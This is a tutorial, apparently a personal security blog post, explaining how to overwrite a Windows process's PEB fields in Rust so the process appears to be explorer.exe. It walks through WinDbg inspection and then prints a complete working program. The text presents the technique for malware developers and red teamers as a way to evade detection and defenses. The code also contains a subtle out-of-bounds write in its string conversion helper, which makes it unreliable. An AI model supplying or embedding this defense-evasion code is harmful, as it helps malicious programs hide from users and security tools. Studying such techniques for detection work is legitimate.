Masquerading Process Environment Block (PEB) using Rust
1
Why?⌗
In the realm of cybersecurity, adversaries often employ masquerading techniques to cloak their programs, making them appear genuine or harmless to both users and security tools. This deceptive strategy is purposefully employed to elude detection and evade defensive measures.
2
What is the Process Environment Block (PEB)⌗
The Process Environment Block (PEB) holds essential process information for the current running process. Comprising nineteen entries, it serves as a user-mode representation of the process, possessing the highest-level knowledge in kernel mode and the lowest-level understanding in user mode. Within the PEB lies valuable data concerning the running process, such as whether it is being debugged, the loaded modules, and the command line used to initiate the process.
2.1
Why is the PEB Structure interesting?⌗
The PEB structure holds a significant allure for both malware developers and Red teamers. Its manipulability from userland allows us to obscure crucial information about our process, including the loaded modules, execution path, executable, command line arguments, and even whether our process is under debugging. This makes it a valuable resource for crafting stealthy and evasive techniques.
3
What makes our process different from explorer.exe?⌗
To find out what makes our process different to explorer.exe we will have to compare the two. There are four places across two different structures within the PEB that define what kind of process it is, namely:
PEB_LDR_DATA
RTL_USER_PROCESS_PARAMETERS
3.1
PEB_LDR_DATA and RTL_USER_PROCESS_PARAMETERS of explorer.exe⌗
I will be using WinDbg (downloaded from the Windows Store) to inspect the PEB structure of the explorer.exe process.
When loading explorer.exe into WinDbg, we can see the PEB structure using the following command: dt _peb @$peb
From the debugger we can see that:
_PEB_LDR_DATA
is located at:0x00007ff94471c4c0
RTL_USER_PROCESS_PARAMETERS
is located at0x00000000006627c0
This is however just the start, when inspecting the RTL_USER_PROCESS_PARAMETERS
we can see the ImagePathName
and the CommandLine
:
Now we need to loop through the modules that are held by PEB_LDR_DATA
. The reason for this will become clear in a minute. When doing dt _PEB_LDR_DATA 0x00007ff94471c4c0
we can see a table entry list, the one we’re after is called InLoadOrderModuleList
.
We take the first entry of the ldr data table and check it’s FullDllName
and BaseDllName
, wow look it’s explorer.exe
Now we know how the explorer.exe process is supposed to look, from a debugger angle. But the question remains, how does the PEB of an other process look? Let’s take notepad.exe
as an example.
We can see the following information:
ImagePathName
is C:\Windows\notepad.exeCommandLine
is C:\Windows\notepad.exeFullDllName
is C:\Windows\notepad.exeBaseDllName
is notepad.exe
If we want to successfully masquerade our PEB we will have to overwrite those four variables. But how does this Rust code look? well.. here is the code :P
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
use ntapi::ntpebteb::PEB;
use ntapi::ntrtl::{RtlEnterCriticalSection, RtlInitUnicodeString, RtlLeaveCriticalSection};
use ntapi::winapi::shared::ntdef::UNICODE_STRING;
use std::arch::asm;
use std::env;
/// Gets a pointer to the Thread Environment Block (TEB)
#[cfg(target_arch = "x86")]
pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB {
let teb: *mut ntapi::ntpebteb::TEB;
asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb);
teb
}
/// Get a pointer to the Thread Environment Block (TEB)
#[cfg(target_arch = "x86_64")]
pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB {
let teb: *mut ntapi::ntpebteb::TEB;
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
teb
}
/// Get a pointer to the Process Environment Block (PEB)
pub unsafe fn get_peb() -> *mut PEB {
let teb = get_teb();
let peb = (*teb).ProcessEnvironmentBlock;
peb
}
// Convert the PWCH to a String
unsafe fn convert_mut_u16_to_string(ptr: *mut u16) -> String {
if ptr.is_null() {
return "failed".to_string();
}
let mut len = 0;
while *ptr.offset(len) != 0 {
len += 1;
}
let slice = std::slice::from_raw_parts(ptr, len as usize);
let utf8_bytes: Vec<u8> = slice
.iter()
.flat_map(|&c| std::char::from_u32(c as u32).map(|ch| ch.to_string().into_bytes()))
.flatten()
.collect();
match String::from_utf8(utf8_bytes) {
Ok(s) => s.to_string(),
Err(_) => "failed".to_string(),
}
}
// Convert a String to a PWCH
unsafe fn convert_string_to_mut_u16(s: String) -> *mut u16 {
let utf16_data: Vec<u16> = s.encode_utf16().collect();
let len = utf16_data.len();
let ptr =
std::alloc::alloc(std::alloc::Layout::from_size_align(len * 2, 2).unwrap()) as *mut u16;
std::ptr::copy_nonoverlapping(utf16_data.as_ptr(), ptr, len);
*ptr.add(len) = 0;
ptr
}
fn main() {
unsafe {
let peb = get_peb();
let windows_explorer = convert_string_to_mut_u16("C:\\Windows\\explorer.exe".to_string());
let explorer = convert_string_to_mut_u16("explorer.exe".to_string());
println!("Masquerading ImagePathName and CommandLine");
RtlInitUnicodeString(&mut (*(*peb).ProcessParameters).ImagePathName as *mut UNICODE_STRING, windows_explorer);
RtlInitUnicodeString(&mut (*(*peb).ProcessParameters).CommandLine as *mut UNICODE_STRING, windows_explorer);
println!("Preparing to masquerade FullDllName and BaseDllName");
RtlEnterCriticalSection((*peb).FastPebLock);
let mut module_list = (*(*peb).Ldr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
println!("Traversing all modules");
while !(*module_list).DllBase.is_null() {
let current_exe_path = get_current_exe();
let utf8_name = convert_mut_u16_to_string((*module_list).FullDllName.Buffer);
if utf8_name == current_exe_path {
println!("Masquerading FullDllName and BaseDllName");
RtlInitUnicodeString(&mut (*module_list).FullDllName as *mut UNICODE_STRING, windows_explorer);
RtlInitUnicodeString(&mut (*module_list).BaseDllName as *mut UNICODE_STRING, explorer);
}
module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
println!("Masqueraded PEB");
RtlLeaveCriticalSection((*peb).FastPebLock);
}
}
fn get_current_exe() -> String {
match env::current_exe() {
Ok(exe_path) => exe_path.display().to_string(),
Err(_) => return "failed".to_string(),
}
}
When we run this code within our debugger and look at the PEB when it’s ran it’s course we get the following output: And thus have successfully masqueraded our process' PEB to look exactly like explorer.exe
The full code is also available here: Github
Conclusion⌗
Masquerading PEB is essential for staying stealthy and evading defenses. As demonstrated, it is not hard to implement and it also was kinda fun to do :)